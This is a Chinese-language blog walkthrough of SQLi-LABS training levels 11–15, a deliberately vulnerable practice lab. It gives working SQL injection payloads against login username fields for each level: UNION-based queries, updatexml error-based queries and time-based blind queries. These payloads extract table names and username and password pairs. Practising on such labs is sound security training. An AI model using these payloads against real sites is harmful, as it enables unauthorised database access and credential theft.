SQLi-LABS靶场11-15通过攻略

less-11

1.判断注入点

尝试在username里输入单引号进行注入 发现页面会出现报错

尝试使用#闭合 发现闭合成功 可以正常访问到信息

2.使用order by 判断列数

当我们尝试列数=3时 显示没有第三列 admin' order by 3 #

当我们尝试列数=2时 显示正常 说明只有两列 admin' order by 2 #

3.使用联合查询查看回显点

-admin' union select 1,2 # 发现页面存在回显点

在回显点的位置输入我们需要执行的sql语句

查询数据库名和表名  -admin' union select database(),user() #

4.查询数据库中的所有表

-admin' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security') #  使用group_concat函数将结果转为一个集合

5.查询users表中的所有字段

-admin' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users') #  使用group_concat函数将结果转为一个集合

6.查询users表中的所有字段

-admin' union select 1,(select group_concat(username,password) from users) #

less-12

1.判断注入点 

在username框中输入") #进行注入  发现闭合成功

2.使用order by 判断列数

当我们尝试列数=3时 显示没有第三列 admin") order by 3 #

当我们尝试列数=2时 显示正常 说明只有两列 admin") order by 2 #

3.使用联合查询查看回显点

-admin") union select 1,2 # 发现页面存在回显点

后面的查询数据库和表和字段跟第11关一样  详情请查看第11关

less-13

1.判断注入点

尝试在username框中寻找注入点 

输入单引号显示报错信息

2.尝试寻找闭合点

使用单引号闭合失败

尝试使用')闭合 发现可以闭合

3.尝试使用报错注入

使用报错注入查看数据库名 admin') and updatexml(1,concat(1,database()),1) #

发现可以查看数据库名

4.查看数据库中的表

admin') and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) #

5.查看users表中的所有字段

admin') and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) #

6.查看所有字段的内容

admin') and updatexml(1,concat(1,(select group_concat(username,password) from users)),1) #

less-14

1.判断注入点

尝试在username框中寻找注入点 

输入双引号显示报错信息

2.寻找闭合点

admin" #  发现没有报错  说明可以闭合成功

3.尝试使用报错注入

使用报错注入查看数据库名 admin" and updatexml(1,concat(1,database()),1) #

发现可以查看数据库名

4.查看数据库中的表

使用报错注入查询所有表和字段的方法和第13关一样  详情请看第13关

less-15

1.判断注入点

无论输入说明都没有回显 但是输入admin' #会显示登录成功 说明闭合方式是单引号

2.没有回显 尝试使用时间盲注

测试是否有时间延迟  admin' and sleep(3) # 发现页面有明显延迟 说明可以使用时间盲注

3.通过length函数去判断数据库的长度

admin' and if(length(database())=8,sleep(3),1) # 

当数据库的长度=8时 页面有明显延迟 说明数据库的长度=8

4.通过substr函数去检索数据库名

admin' and if(ascii(substr(database(),1,1))>114,sleep(3),1) #

通过ascii码对数据库的第一位字符进行检索 发现ascii码值大于114时 页面有延迟 说明第一位字符的ascii值大于114

当数据库第一位字符的ASCII值大于115时 页面没有延迟 说明第一位字符的ASCII值为115 也就是s

admin' and if(ascii(substr(database(),1,1))>115,sleep(3),1) #

剩下7位以此类推就可以得出数据库名为security

5.通过substr函数去检索表名

当第一张表的第一个字符的ascii大于100时 页面有明显延迟 

admin' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100,sleep(3),1) #

当第一张表的第一个字符的ascii大于101时 页面没有延迟 说明它的ASCII=101 也就是  ‘e’

以此类推可以查出所有的表名

6.查询users表中的所有字段

admin' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104,sleep(3),1) #

当users表中的第一个字符的ASCII码大于104时 页面有明显延迟

当users表中的第一个字段的第一个字符的ASCII码大于105时 页面没有延迟 说明它的ASCII=105 也就是‘i’

以此类推可以得出第一个字符是id

 

  • 18
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值